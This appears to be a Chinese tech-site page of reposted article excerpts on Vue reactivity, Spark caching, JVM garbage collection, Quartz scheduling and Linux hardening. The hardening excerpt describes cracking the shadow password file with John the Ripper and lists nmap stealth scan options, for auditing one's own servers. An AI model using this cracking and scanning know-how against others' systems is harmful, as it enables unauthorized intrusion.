前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[ActiveMQ持久订阅消息持久化机制 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...动响应数据变量的代码机制,我们就称之为是响应式的 对象的响应式 4.2 响应式函数设计 首先,执行的代码中可能不止一行代码,所以我们可以将这些代码放到一个函数中: 那么问题就变成了,当数据发生变化时,自动去执行某一个函数; 但是有一个问题:在开发中是有很多的函数的,如何区分一个函数需要响应式,还是不需要响应式呢? 很明显,下面的函数中 foo 需要在 obj 的 name 发生变化时,重新执行,做出相应; bar 函数是一个完全独立于 obj 的函数,它不需要执行任何响应式的操作; // 对象的响应式const obj = {name: 'why',age: 18}function foo() {const newName = obj.nameconsole.log('你好啊,李银河')console.log('Hello World')console.log(obj.name)}function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe' // name 发生改变时候 foo 函数执行 响应式函数的实现 watchFn 如何区分响应式函数? 这个时候我们封装一个新的函数 watchFn 凡是传入到 watchFn 的函数,就是需要响应式的 其他默认定义的函数都是不需要响应式的 / 封装一个响应式的函数 /let reactiveFns = []function watchFn(fn) {reactiveFns.push(fn)}// 对象的响应式const obj = {name: 'why',age: 18}watchFn(function foo() {const newName = obj.nameconsole.log('你好啊,李银河')console.log('Hello World')console.log(obj.name)})watchFn(function demo() {console.log(obj.name, 'demo function ---------')})function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe' // name 发生改变时候 foo 函数执行reactiveFns.forEach((fn) => {fn()}) 4.3 响应式依赖的收集 目前收集的依赖是放到一个数组中来保存的,但是这里会存在数据管理的问题: 在实际开发中需要监听很多对象的响应式 这些对象需要监听的不只是一个属性,它们很多属性的变化,都会有对应的响应式函数 不可能在全局维护一大堆的数组来保存这些响应函数 所以要设计一个类,这个类用于管理某一个对象的某一个属性的所有响应式函数: 相当于替代了原来的简单 reactiveFns 的数组; class Depend {constructor() {this.reactiveFns = []}addDepend(reactiveFn) {this.reactiveFns.push(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }const depend = new Depend()function watchFn(fn) {depend.addDepend(fn)}// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}watchFn(function foo() {const newName = obj.nameconsole.log('你好啊,李银河')console.log('Hello World')console.log(obj.name)})watchFn(function demo() {console.log(obj.name, 'demo function ---------')})function bar() {console.log('普通的其他函数')console.log('这个函数不需要有任何的响应式')}obj.name = 'kobe'depend.notify() 4.4 监听对象的变化 那么接下来就可以通过之前的方式来监听对象的变化: 方式一:通过 Object.defineProperty 的方式(vue2采用的方式); 方式二:通过 new Proxy 的方式(vue3采用的方式); 我们这里先以Proxy的方式来监听 class Depend {constructor() {this.reactiveFns = []}addDepend(reactiveFn) {this.reactiveFns.push(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }const depend = new Depend()function watchFn(fn) {depend.addDepend(fn)}// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}// 监听对象的属性变化:Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)depend.notify()} })watchFn(function foo() {const newName = objProxy.nameconsole.log('你好啊,李银河')console.log('Hello World')console.log(objProxy.name)})watchFn(function demo() {console.log(objProxy.name, 'demo function ---------')})objProxy.name = 'kobe'objProxy.name = 'james'/ 你好啊,李银河Hello Worldkobekobe demo function ---------你好啊,李银河Hello Worldjamesjames demo function ---------/ 4.5 对象的依赖管理 目前是创建了一个 Depend 对象,用来管理对于 name 变化需要监听的响应函数: 但是实际开发中我们会有不同的对象,另外会有不同的属性需要管理; 如何可以使用一种数据结构来管理不同对象的不同依赖关系呢? 在前面我们刚刚学习过 WeakMap,并且在学习 WeakMap 的时候我讲到了后面通过 WeakMap 如何管理这种响应式的数据依赖: 实现 可以写一个 getDepend 函数专门来管理这种依赖关系 / 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取mapconst map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象const depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化:Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} }) 正确的依赖收集 我们之前收集依赖的地方是在 watchFn 中: 但是这种收集依赖的方式我们根本不知道是哪一个 key 的哪一个 depend 需要收集依赖; 只能针对一个单独的 depend 对象来添加你的依赖对象; 那么正确的应该是在哪里收集呢?应该在我们调用了 Proxy 的 get 捕获器时 因为如果一个函数中使用了某个对象的 key,那么它应该被收集依赖 / 封装一个响应式函数 /let activeReactviceFn = nullfunction watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化:Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数activeReactviceFn && depend.addDepend(activeReactviceFn)return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} }) 4.6 对 Depend 重构 两个问题: 问题一:如果函数中有用到两次 key,比如 name,那么这个函数会被收集两次 问题二:我们并不希望将添加 reactiveFn 放到 get 中,因为它是属于 Depend 的行为 所以我们需要对 Depend 类进行重构: 解决问题一的方法:不使用数组,而是使用 Set 解决问题二的方法:添加一个新的方法,用于收集依赖 // 保存当前需要收集的响应式函数let activeReactviceFn = nullclass Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }// 对象的响应式const obj = {name: 'why', // depend 对象age: 18 // depend 对象}/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}// 监听对象的属性变化:Proxy(vue3)/Object.defineProperty(vue2)const objProxy = new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数depend.depend()return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} })watchFn(function () {console.log(objProxy.name, '--------------')console.log(objProxy.name, '++++++++++++++')})objProxy.name = 'kobe'/ why --------------why ++++++++++++++kobe --------------kobe ++++++++++++++/ 4.7 创建响应式对象 目前的响应式是针对于obj一个对象的,我们可以创建出来一个函数,针对所有的对象都可以变成响应式对象 / 保存当前需要收集的响应式函数 /let activeReactviceFn = null/ 依赖收集类 /class Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}/ 创建响应式对象函数 /function reactive(obj) {// 监听对象的属性变化:Proxy(vue3)/Object.defineProperty(vue2)return new Proxy(obj, {get: function (target, key, receiver) {// 根据 target key 获取对应的 depnedconst depend = getDepend(target, key)// 给 depend 对象中添加响应式函数depend.depend()return Reflect.get(target, key, receiver)},set: function (target, key, newValue, receiver) {Reflect.set(target, key, newValue, receiver)const depend = getDepend(target, key)depend.notify()} })}const info = reactive({address: '广州市',height: 1.88})watchFn(() => {console.log(info.address, '---')})info.address = '北京市' 4.8 Vue2 响应式原理 前面所实现的响应式的代码,其实就是 Vue3 中的响应式原理: Vue3 主要是通过 Proxy 来监听数据的变化以及收集相关的依赖的 Vue2 中通过 Object.defineProerty的方式来实现对象属性的监听 可以将 reactive 函数进行如下的重构: 在传入对象时,我们可以遍历所有的 key,并且通过属性存储描述符来监听属性的获取和修改 在 setter 和 getter 方法中的逻辑和前面的 Proxy 是一致的 / 保存当前需要收集的响应式函数 /let activeReactviceFn = null/ 依赖收集类 /class Depend {constructor() {this.reactiveFns = new Set()}depend() {if (activeReactviceFn) {this.reactiveFns.add(activeReactviceFn)} }addDepend(reactiveFn) {this.reactiveFns.add(reactiveFn)}notify() {this.reactiveFns.forEach((fn) => {fn()})} }/ 封装一个响应式函数 /function watchFn(fn) {activeReactviceFn = fnfn()activeReactviceFn = null}/ 封装一个获取depend的函数 /const taregtMap = new WeakMap()function getDepend(target, key) {// 根据target对象获取maplet map = taregtMap.get(target)if (!map) {map = new Map()taregtMap.set(target, map)}// 根据key获取depend对象let depend = map.get(key)if (!depend) {depend = new Depend()map.set(key, depend)}return depend}/ 创建响应式对象函数 /function reactive(obj) {Object.keys(obj).forEach((key) => {let value = obj[key]Object.defineProperty(obj, key, {get: function () {const dep = getDepend(obj, key)dep.depend()return value},set: function (newValue) {value = newValueconst dep = getDepend(obj, key)dep.notify()} })})return obj}const info = reactive({address: '广州市',height: 1.88})watchFn(() => {console.log(info.address, '---')})info.address = '北京市' 本篇文章为转载内容。原文链接:https://blog.csdn.net/wanghuan1020/article/details/126774033。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-11 12:37:47
679
转载
转载文章
...项和更快捷的驱动识别机制。此外,随着云技术和虚拟化技术的发展,Windows To Go和Azure Sphere等新型安装方式为系统部署提供了更多可能。 在网络配置方面,IPv6在全球范围内的普及速度加快,许多网络设备厂商正致力于提升产品对IPv6协议栈的支持。与此同时,Windows操作系统也在不断更新其网络功能,包括DHCPv6客户端功能增强、DNS-over-HTTPS(DoH)支持以及更完善的组播服务管理工具。此外,Windows防火墙已新增多项高级策略设置,以满足日益复杂的网络安全需求。 最后,关于Office软件中的实用技巧,Microsoft Office 365定期发布更新,提供更丰富的协作工具和智能功能,例如Excel的数据预处理和分析能力得到显著提升,Outlook则集成了更多智能邮件管理和日程安排助手。这些实时更新和新增功能有助于用户提高工作效率,应对各种办公场景挑战。 总之,随着科技不断发展,无论是操作系统的基础架构、网络配置的复杂度还是办公应用的智能化程度都在持续演进,关注行业动态和技术前沿将帮助我们更好地理解和运用文中提及的相关知识。
2023-09-10 16:27:10
270
转载
Ruby
...个线程中添加异常捕获机制。比如,可以用begin-rescue-end结构来捕获异常并进行处理。 修正后的代码: ruby 捕获异常的代码 threads = [] 5.times do |i| threads << Thread.new do begin raise "Error in thread {i}" if i == 2 puts "Thread {i} completed" rescue => e puts "Thread {i} encountered an error: {e.message}" end end end threads.each(&:join) 总结: 异常就像隐藏在暗处的敌人,稍不注意就会让你措手不及。学会捕获和处理异常,是成为一个优秀的并发编程者的关键。 --- 7. 结语 好了,今天的分享就到这里啦!并发编程确实是一项强大的技能,但也需要谨慎对待。大家看看今天这个例子,是不是觉得有点隐患啊?希望能引起大家的注意,也学着怎么避开这些坑,别踩雷了! 最后,我想说的是,编程是一门艺术,也是一场冒险。每次遇到新挑战,我都觉得像打开一个神秘的盲盒,既兴奋又紧张。不过呢,光有好奇心还不够,还得有点儿耐心,就像种花一样,得一点点浇水施肥,不能急着看结果。相信只要我们不断学习、不断反思,就一定能写出更加优雅、高效的代码! 祝大家编码愉快!
2025-04-25 16:14:17
32
凌波微步
转载文章
...用CPU提供的LDT机制,也就是局部描述符表,该机制的使用,我们将在下一节详细讲解。更详细的讲解和代码演示调试,请参看视频: 更详细的讲解和代码调试演示过程,请参看视频 Linux kernel Hacker, 从零构建自己的内核 更多技术信息,包括操作系统,编译器,面试算法,机器学习,人工智能,请关照我的公众号: 本篇文章为转载内容。原文链接:https://blog.csdn.net/tyler_download/article/details/78731905。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-14 19:08:07
254
转载
Spark
...rk提供了多种序列化机制,包括JavaSerializer、KryoSerializer等。不同的序列化方式会影响数据的大小以及读取效率。 我曾经试过直接使用默认的JavaSerializer,结果发现性能非常差。后来改用了KryoSerializer之后,才明显感觉到速度有所提升。话说回来啊,用 KryoSerializer 的时候可别忘了先给所有要序列化的类都注册好,不然程序很可能就“翻车”报错啦! java import org.apache.spark.serializer.KryoRegistrator; import com.esotericsoftware.kryo.Kryo; public class MyRegistrator implements KryoRegistrator { @Override public void registerClasses(Kryo kryo) { kryo.register(MyClass.class); // 注册其他需要序列化的类... } } 然后在SparkConf中设置: java SparkConf conf = new SparkConf(); conf.set("spark.serializer", "org.apache.spark.serializer.KryoSerializer"); conf.set("spark.kryo.registrator", "MyRegistrator"); 2.3 缓存时机的选择失误 还有一个关键点在于缓存的时机。有些人一启动任务就赶紧给数据加上.cache(),觉得这样数据就能一直乖乖待在内存里,不用再费劲去读了。但实际上,这种做法并不总是最优解。 比如,在某些情况下,数据可能只会在特定阶段被频繁访问,而在其他阶段则很少用到。要是你提前把这部分数据缓存了,不光白白占用了宝贵的内存空间,搞不好后面真要用缓存的地方还找不到足够的空位呢! 因此,合理规划缓存策略非常重要。比如说,在某个任务快开始了,你再随手调用一下.cache()这个方法,这样就能保证数据乖乖地待在内存里,别到时候卡壳啦! 三、实践案例 如何正确使用分布式缓存? 接下来,我想分享几个具体的案例,帮助大家更好地理解和运用分布式缓存。 案例1:简单的词频统计 假设我们有一个文本文件,里面包含了大量的英文单词。我们的目标是统计每个单词出现的次数。为了提高效率,我们可以先将文件内容缓存起来,然后再进行处理。 scala val textFile = sc.textFile("hdfs://path/to/input.txt") textFile.cache() val wordCounts = textFile.flatMap(_.split(" ")) .map(word => (word, 1)) .reduceByKey(_ + _) wordCounts.collect().foreach(println) 在这个例子中,.cache()方法确保了textFile RDD的内容只被加载一次,并且可以被后续的操作共享。其实嘛,要是没用缓存的话,每次你调用flatMap或者map的时候,都得重新去原始数据里翻一遍,这就跟每次出门都得把家里所有东西再检查一遍似的,纯属给自己找麻烦啊! 案例2:多步骤处理流程 有时候,一个任务可能会涉及到多个阶段的处理,比如过滤、映射、聚合等等。在这种情况下,合理安排缓存的位置尤为重要。 python from pyspark.sql import SparkSession spark = SparkSession.builder.appName("WordCount").getOrCreate() df = spark.read.text("hdfs://path/to/input.txt") 第一步:将文本拆分为单词 words = df.selectExpr("split(value, ' ') as words").select("words.") 第二步:缓存中间结果 words.cache() 第三步:统计每个单词的出现次数 word_counts = words.groupBy("value").count() word_counts.show() 这里,我们在第一步处理完之后立即调用了.cache()方法,目的是为了保留中间结果,方便后续步骤复用。要是不这么干啊,那每走一步都得把上一步的算一遍,想想就费劲,效率肯定低得让人抓狂。 四、总结与展望 通过今天的讨论,相信大家对Spark的分布式缓存有了更深刻的认识。虽然它能带来显著的性能提升,但也并非万能药。其实啊,要想把它用得溜、用得爽,就得先搞懂它是怎么工作的,再根据具体的情况去灵活调整。不然的话,它的那些本事可就都浪费啦! 未来,随着硬件条件的不断改善以及算法优化的持续推进,相信Spark会在更多领域展现出更加卓越的表现。嘿,咱们做开发的嘛,就得有颗永远好奇的心!就跟追剧似的,新技术一出就得赶紧瞅两眼,说不定哪天就用上了呢。别怕麻烦,多学点东西总没错,说不定哪天就能整出个大招儿来! 最后,感谢大家耐心阅读这篇文章。如果你有任何疑问或者想法,欢迎随时交流!让我们一起努力,共同进步吧!
2025-05-02 15:46:14
80
素颜如水
转载文章
...深入理解文件切片下载机制,推荐阅读《HTTP协议权威指南》一书,书中详尽剖析了HTTP协议中的范围请求(Range Request)及其实现方式,这对于掌握和优化文件下载功能具有极高的参考价值。同时,关注Spring Boot官方文档和社区讨论,可以及时获取到针对大文件处理的最新最佳实践和技术动态。 综上所述,在当前高速发展的互联网环境下,结合SpringBoot后端框架与Vue前端技术实现文件切片下载功能,并关注该领域的最新发展与应用案例,无疑将有助于我们更好地服务于用户的实际需求,提升产品竞争力。
2023-01-19 08:12:45
546
转载
转载文章
...有服务进行认证的中央机制,适用于login,远程登陆,su等应用 5.系统管理员通过PAM配置文件来制定不同的应用程序的不同认证策略 3.PAM认证原理 1.PAM认证一般遵循的顺序: Service (服务) --> PAM (配置文件) --> pam_.so;, 2.PAM认证首先要确定哪一项应用服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认 模块(位于/lib64/security/下)进行安全认证。 3.用户访问服务器的时候,服务器的某一个服务程序把用户的请求发送到PAM模块进行认证。不同的应用程序所对应的PAM模块也是不同的。 4.如果想查看某个程序是否支持PAM认证,可以用ls命令进行查看/etc/pam.d/。 ls /etc/pam.d/ | grep su 5.PAM的配置文件中的每一行都是一个独立的认证过程,它们按从上往下的顺序依次由PAM模块调用。 4.PAM安全认证流程 控制类型也称做Control Flags,用于PAM验证类型的返回结果 用户1 用户2 用户3 用户4 auth required 模块1 pass fail pass pass auth sufficient 模块2 pass pass fail pass auth required 模块3 pass pass pass fail 结果 pass fail pass pass 4 五.限制使用su命令的用户(pam-wheel认证模块) 1.su命令概述: 通过su命令可以非常方便切换到另一个用户,但前提条件是必须知道用户登录密码。对于生产环境中的Linux服务器,每多一个人知道特权密码,安全风险就多一分。于是就多了一种折中的办法,使用sudo命令提升执行权限,不过需要由管理员预先进行授权, 指定用户使用某些命令: 2. su命令的用途以及用法: 用途:以其他用户身份(如root)执行授权命令用法:sudo 授权命令 3.配置su的授权(加入wheel组)(pam_wheel认证模块:): 进入授权命令:1.visudo 或者 vim /etc/sudoers语法格式:1.用户 主机名=命令程序列表2.用户 主机名=(用户)命令程序列表-l:列出用户在主机上可用的和被禁止的命令;一般配置好/etc/sudoers后,要用这个命令来查看和测试是不是配置正确的;-v:验证用户的时间戳;如果用户运行sudo后,输入用户的密码后,在短时间内可以不用输入口令来直接进行sudo操作;用-v可以跟踪最新的时间戳;-u:指定以以某个用户执行特定操作;-k:删除时间戳,下一个sudo命令要求用求提供密码; 1.首先创建3个组 2.vim /etc/pam.d/su把第六行注释去掉保存退出 1. 以上两行是默认状态(即开启第一行,注释第二行),这种状态下是允许所有用户间使用su命令进行切换的 2.两行都注释也是运行所有用户都能使用su命令,但root下使用su切换到其他普通用户需要输入密码: 3.如果第–行不注释,则root 使用su切换普通用户就不需要输入密码( pam_ rootok. so模块的主要作用是使uid为0的用户,即root用户能够直接通过认证而不用输入密码。) 4.如果开启第二行,表示只有root用户和wheel1组内的用户才可以使用su命令。 5.如果注释第一行,开启第二行,表示只有whee1组内的用户才能使用su命令,root用户也被禁用su命令。 3.将liunan加入到wheel之后,hehe就有了使用su命令的权限 4.使用pam_wheel认证后,没有在wheel里的用户都不能再用su 5.whoami命令确定当前用户是谁 4.配置/etc/sudoers文件(授权用户较多的时候使用): visudo单个授权visudo 或者 vim /etc/sudoers记录格式:user MACHINE=COMMANDS可以使用通配符“ ”号任意值和“ !”号进行取反操作。%组名代表一整个组权限生效后,输入密码后5分钟可以不用重新输入密码。例如:visudo命令下user kiro=(root)NOPASSWD:/usr/sbin/useradd,PASSWD:/usr/sbin/usermod代表 kiro主机里的user用户,可以无密码使用useradd命令,有密码使用usermod/etc/sudoers多个授权Host_Alias MYHOST= localhost 主机别名:主机名、IP、网络地址、其他主机别名!取反Host_Alias MAILSVRS=smtp,pop(主机名)User_Alias MYUSER = kiro,user1,lisi 用户别名:包含用户、用户组(%组名(使用引导))、还可以包含其他其他已经用户的别名User_Alias OPERATORS=zhangsan,tom,lisi(需要授权的用户)Cmnd_Alias MYCMD = /sbin/,/usr/bin/passwd 命令路劲、目录(此目录内的所有命令)、其他事先定义过的命令别名Cmnd_Alias PKGTOOLS=/bin/rpm,/usr/bin/yum(授权)MYUSER MYHOST = NOPASSWD : MYCMDDS 授权格式sudo -l 查询目前sudo操作查看sudo操作记录需启用Defaults logfile配置默认日志文件: /var/log/sudosudo -l 查看当前用户获得哪些sudo授权(启动日志文件后,sudo操作过程才会被记录) 1.首先用visudo 或者 vim /etc/sudoers进入,输入需要授权的命令 2.切换到taojian用户,因为设置了它不能使用创建用户的命令所以无法创建 六.开关机安全控制 1.调整BIOS引导设置 1.将第一引导设备设为当前系统所在硬盘2.禁止从其他设备(光盘、U盘、网络)引导系统3.将安全级别设为setup,并设置管理员密码 2.GRUB限制 1.使用grub2-mkpasswd-pbkdf2生成密钥2.修改/etclgrub.d/00_header文件中,添加密码记录3.生成新的grub.cfg配置文件 方法一: 通常情况下在系统开机进入GRUB菜单时,按e键可以查看并修改GRUB引导参数,这对服务器是一个极大的威胁。可以为GRUB菜单设置一个密码,只有提供正确的密码才被允许修改引导参数。grub2-mkpasswd-pbkdf2 根据提示设置GRUB菜单的密码PBKDF2 hash of your password is grub.pbkd..... 省略部分内容为经过加密生成的密码字符串cp /boot/grub2/grub.cfg /boot/grub2/grub.cfg.bak 8cp /etc/grub.d/00_header /etc/grub.d/00_header.bak 9vim /etc/grub.d/00_headercat << EOFset superusers="root" 设置用户名为rootpassword_pbkdf2 root grub.pbkd2..... 设置密码,省略部分内容为经过加密生成的密码字符串EOF16grub2-mkconfig -o /boot/grub2/grub.cfg 生成新的grub.cfg文件重启系统进入GRUB菜单时,按e键将需要输入账号密码才能修改引导参数。 方法二: 1.一步到位2.grub2-setpassword 七.终端以及登录控制 1.限制root只在安全终端登录 安全终端配置文件在 /etc/securetty 2..禁止普通用户登录 1.建立/etc/nologin文件 2.删除nologin文件或重启后即恢复正常 vim /etc/securetty在端口前加号拒绝访问touch /etc/nologin 禁止普通用户登录rm -rf /etc/nologin 取消禁止 八.系统弱口令检测 1.JOHN the Ripper,简称为JR 1.一款密码分析工具,支持字典式的暴力破解2.通过对shadow文件的口令分析,可以检测密码强度3.官网网站:http://www.openwall.com/john/ 2.安装弱口令账号 1.获得Linux/Unix服务器的shadow文件2.执行john程序,讲shadow文件作为参数 3.密码文件的暴力破解 1.准备好密码字典文件,默认为password.lst2.执行john程序,结合--wordlist=字典文件 九.网络端口扫描 1.NMAP 1.—款强大的网络扫描、安全检测工具,支持ping扫描,多端口检测等多种技术。2.官方网站: http://nmap.orgl3.CentOS 7.3光盘中安装包,nmap-6.40-7.el7.x86_64.rpm 2.格式 NMAP [扫描类型] [选项] <扫描目标....> 安装NMAP软件包rpm -qa | grep nmapyum install -y nmapnmap命令常用的选项和扫描类型-p:指定扫描的端口。-n:禁用反向DNS 解析 (以加快扫描速度)。-sS:TCP的SYN扫描(半开扫描),只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。-sT:TCP连接扫描,这是完整的TCP扫描方式(默认扫描类型),用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。-sF:TCP的FIN扫描,开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP attack 包。这种类型的扫描可间接检测防火墙的健壮性。-sU:UDP扫描,探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。-sP:ICMP扫描,类似于ping检测,快速判断目标主机是否存活,不做其他扫描。-P0:跳过ping检测,这种方式认为所有的目标主机是存活的,当对方不响应ICMP请求时,使用这种方式可以避免因无法 ping通而放弃扫描。 总结: 1.账号基本安全措施:系统账号处理、密码安全控制、命令历史清理、自动注销 2.用户切换与提权(su、sudo) 3.开关机安全控制(BIOS引导设置、禁止Ctrl+Alt+Del快捷键、GRUB菜单设置密码) 4.终端控制 5.弱口令检测——John the Ripper 6.端口扫描——namp 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_67474417/article/details/123982900。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-07 23:37:44
95
转载
转载文章
...认垃圾收集器,其内部机制中除了卡表外,Remembered Set(RSet)也是关键组件。详细了解RSet如何辅助卡表追踪跨区域引用,以及分区并发压缩等特性,将有助于读者掌握G1高效回收内存的具体实现原理。 3. 实际生产环境案例分析:通过阅读一些大型互联网企业或开源社区分享的实战经验文章,了解他们在使用CMS、G1等垃圾收集器时如何针对特定业务场景调整卡表相关参数,解决实际遇到的性能瓶颈问题。比如,如何根据应用特点选择合适的卡表大小、调整扫描频率以平衡GC开销与应用响应时间。 4. 学术研究论文:查阅近年来关于垃圾收集器优化的学术论文,比如《A Study of the G1 Garbage Collector》、《The Z Garbage Collector》等,可深入了解卡表设计背后的理论依据,以及研究人员为提升GC效率所做的各种尝试和改进。 5. 官方文档及源码阅读:直接研读Oracle官方发布的Java SE HotSpot VM Garbage Collection Tuning Guide,以及JDK源码中的CardTableBarrierSet等相关类实现,可以更直观地把握卡表的具体工作流程和技术细节。同时,关注JDK开发团队的博客、邮件列表讨论等,获取第一手的更新信息和未来发展方向。
2023-12-16 20:37:50
246
转载
转载文章
...度提供了简单却强大的机制。Quartz 允许开发人员根据时间间隔(或天)来调度作业。它实现了作业和触发器的多对多关系,还能把多个作业与不同的触发器关联。整合了 Quartz 的应用程序可以重用来自不同事件的作业,还可以为一个事件组合多个作业。虽然可以通过属性文件(在属性文件中可以指定 JDBC 事务的数据源、全局作业和/或触发器侦听器、插件、线程池,以及更多)配置 Quartz,但它根本没有与应用程序服务器的上下文或引用集成在一起。结果就是作业不能访问 Web 服务器的内部函数;例如,在使用 WebSphere 应用服务器时,由 Quartz 调度的作业并不能影响服务器的动态缓存和数据源。 二、java中实现定时任务分类 从实现的技术上来分类,目前主要有三种技术(或者说有三种产品): Java自带的java.util.Timer类,这个类允许你调度一个java.util.TimerTask任务。使用这种方式可以让你的程序按照某一个频度执行,但不能在指定时间运行。一般用的较少,这篇文章将不做详细介绍。 使用Quartz,这是一个功能比较强大的的调度器,可以让你的程序在指定时间执行,也可以按照某一个频度执行,配置起来稍显复杂,稍后会详细介绍。 Spring3.0以后自带的task,可以将它看成一个轻量级的Quartz,而且使用起来比Quartz简单许多,稍后会介绍。 从作业类的继承方式来讲,可以分为两类: 作业类需要继承自特定的作业类基类,如Quartz中需要继承自org.springframework.scheduling.quartz.QuartzJobBean;java.util.Timer中需要继承自java.util.TimerTask。 作业类即普通的java类,不需要继承自任何基类。 注:个人推荐使用第二种方式,因为这样所以的类都是普通类,不需要事先区别对待。 从任务调度的触发时机来分,这里主要是针对作业使用的触发器,主要有以下两种: 每隔指定时间则触发一次,在Quartz中对应的触发器为:org.springframework.scheduling.quartz.SimpleTriggerBean 每到指定时间则触发一次,在Quartz中对应的调度器为:org.springframework.scheduling.quartz.CronTriggerBean 注:并非每种任务都可以使用这两种触发器,如java.util.TimerTask任务就只能使用第一种。Quartz和spring task都可以支持这两种触发条件。 三、Quartz与Spring的集成 第一种,作业类继承自特定的基类:org.springframework.scheduling.quartz.QuartzJobBean。 第一步:定义作业类 Java代码 import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; import org.springframework.scheduling.quartz.QuartzJobBean; public class Job1 extends QuartzJobBean { private int timeout; private static int i = 0; //调度工厂实例化后,经过timeout时间开始执行调度 public void setTimeout(int timeout) { this.timeout = timeout; } / 要调度的具体任务 / @Override protected void executeInternal(JobExecutionContext context) throws JobExecutionException { 